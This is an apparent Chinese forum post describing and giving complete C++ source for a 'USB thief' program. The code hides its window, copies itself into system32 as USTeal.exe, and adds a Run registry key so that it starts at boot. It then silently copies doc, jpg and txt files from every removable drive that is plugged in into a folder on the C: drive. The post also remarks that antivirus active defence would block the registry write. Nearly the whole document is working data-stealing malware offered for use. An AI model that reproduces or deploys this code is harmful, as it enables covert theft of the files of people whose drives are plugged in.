程序工作原理:
1、程序运行后将程序自身拷贝到系统目录。
2、写注册表,实现开机自启动。
3、在C盘下创建“U盘小偷”目录(文件夹),以存放偷来的文件。
4、检测是否有可移动设备插入电脑,如果有,获取当前系统时间,在"C:\U盘小偷"目录下创建以SYSTEMTIME结构体的部分成员为名字的文件夹,保存本次盗窃成果。
所有操作都在后台运行。
由于程序在运行的时候会写注册表,这个操作会被具有主动防御功能的杀毒软件拦截。
以下是程序源码:
代码:
#include "stdafx.h" #include <windows.h> #include <string> #include <stdio.h> #include <Dbt.h> #include <iostream> #include "io.h" #include "tlhelp32.h" #include "stdio.h" using namespace std; void Dir(LPCTSTR lpPath); LRESULT CALLBACK WndProc( HWND hwnd, // handle to window UINT uMsg, // message identifier WPARAM wParam, // first message parameter LPARAM lParam // second message parameter ); int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { WNDCLASS wndclass; wndclass.cbClsExtra=0; wndclass.cbWndExtra=0; wndclass.hbrBackground=(HBRUSH)GetStockObject(BLACK_BRUSH); wndclass.hCursor=LoadCursor(NULL,IDC_ICON); wndclass.hIcon=LoadIcon(NULL,IDI_ASTERISK); wndclass.hInstance=hInstance; wndclass.lpfnWndProc=WndProc; wndclass.lpszClassName="lieying"; wndclass.lpszMenuName=NULL; wndclass.style=CS_VREDRAW|CS_HREDRAW; RegisterClass(&wndclass); //注册窗口类 HWND hwnd; hwnd=CreateWindow("lieying","",WS_OVERLAPPEDWINDOW,150,150,683,384,NULL,NULL,hInstance,NULL); ShowWindow(hwnd,SW_HIDE); //隐藏窗体 UpdateWindow(hwnd); MSG msg; while(GetMessage(&msg,hwnd,0,0)) //消息循环 { TranslateMessage(&msg); DispatchMessage(&msg); } return 0; } LRESULT CALLBACK WndProc( HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam ) //窗口过程 { switch(uMsg) { case WM_PAINT: { PAINTSTRUCT ps; BeginPaint(hwnd,&ps); EndPaint(hwnd,&ps); break; } case WM_CLOSE: { return FALSE; break; } case WM_DESTROY: { return FALSE; break; } case WM_CREATE: //窗体创建时执行复制自身到系统目录,并写注册表实现开机启动。 { TCHAR desdir[MAX_PATH]=TEXT("c:\\U盘小偷"); //创建目录,用来存放偷来的文件 CreateDirectory(desdir,NULL); //文件复制 TCHAR ExeFullPath[MAX_PATH]; GetModuleFileName(NULL,ExeFullPath,MAX_PATH); //获取exe的全路径(包括文件名) TCHAR NewFilePath[MAX_PATH]="C:\\WINDOWS\\system32\\USTeal.exe"; //指定文件Copy到哪里去。 CopyFile(ExeFullPath,NewFilePath,TRUE); //写注册表,实现开机运行。 HKEY hkey; TCHAR keyvalue[MAX_PATH]="C:\\WINDOWS\\system32\\USTeal.exe"; //判读下文件是否存在 TCHAR childkey[]=TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"); RegOpenKeyEx(HKEY_LOCAL_MACHINE,childkey,0,KEY_CREATE_SUB_KEY,&hkey); RegSetValue(HKEY_LOCAL_MACHINE,childkey,REG_SZ,keyvalue,strlen(keyvalue)); RegCloseKey(hkey); break; } case WM_DEVICECHANGE: //移动存储设备插入电脑会产生WM_DEVICECHANGE消息 { if(lParam!=0) { PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam; //定义PDEV_BROADCAST_HDR结构体,系统填充结构体信息。 if(lpdb->dbch_devicetype==DBT_DEVTYP_VOLUME) { if(wParam==DBT_DEVICEARRIVAL) //移动存储设备已经可用。 { long i,j; TCHAR buf[100]; TCHAR *cdbuf; j=100; i=GetLogicalDriveStrings(j,buf); for(j=0;j<i;j+=4) { cdbuf=&buf[j]; if(GetDriveType(cdbuf)==DRIVE_REMOVABLE) //判断插入设备的类型是否为可移动设备 { Dir((LPCTSTR)cdbuf); } } } } } } break; default: { return DefWindowProc(hwnd,uMsg,wParam,lParam); break; } } return 0; } void Dir(LPCTSTR lpPath) { TCHAR szFind[MAX_PATH]; lstrcpy(szFind,lpPath); lstrcat(szFind,"\\*.*"); WIN32_FIND_DATA wfd; HANDLE hFind=FindFirstFile(szFind,&wfd); if(hFind == INVALID_HANDLE_VALUE) return; else { do { if (wfd.cFileName[0] == '.') continue; //过滤本级目录和父目录 if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) //如果找到的是目录 { TCHAR szFile[MAX_PATH]; lstrcpy(szFile,lpPath); lstrcat(szFile,"\\"); lstrcat(szFile,wfd.cFileName); Dir(szFile); // 递归 } else //找到的是文件 { TCHAR szFile[MAX_PATH]; lstrcpy(szFile,lpPath); lstrcat(szFile,"\\"); lstrcat(szFile,wfd.cFileName); int len=lstrlen(szFile); TCHAR *p=&szFile[len-3]; if(lstrcmp(p,"doc")==0||lstrcmp(p,"jpg")==0||lstrcmp(p,"txt")==0) //要拷贝文件的后缀,我这里只拷贝doc,jpg,txt文件。 { TCHAR szDes[MAX_PATH]=TEXT("C:\\U盘小偷\\"); TCHAR szTime[MAX_PATH]; SYSTEMTIME time; GetLocalTime(&time); //获取当前系统时间,将文件夹的名字以SYSTEMTIME结构体的部分成员为目标文件名 wsprintf(szTime,"%d月%d日%d时%d分",time.wMonth,time.wDay,time.wHour,time.wMinute); lstrcat(szDes,szTime); CreateDirectory(szDes,NULL); lstrcat(szDes,"\\"); lstrcat(szDes,wfd.cFileName); CopyFile(szFile,szDes,FALSE); //拷贝文件 } } } while(FindNextFile(hFind, &wfd)); FindClose(hFind); } }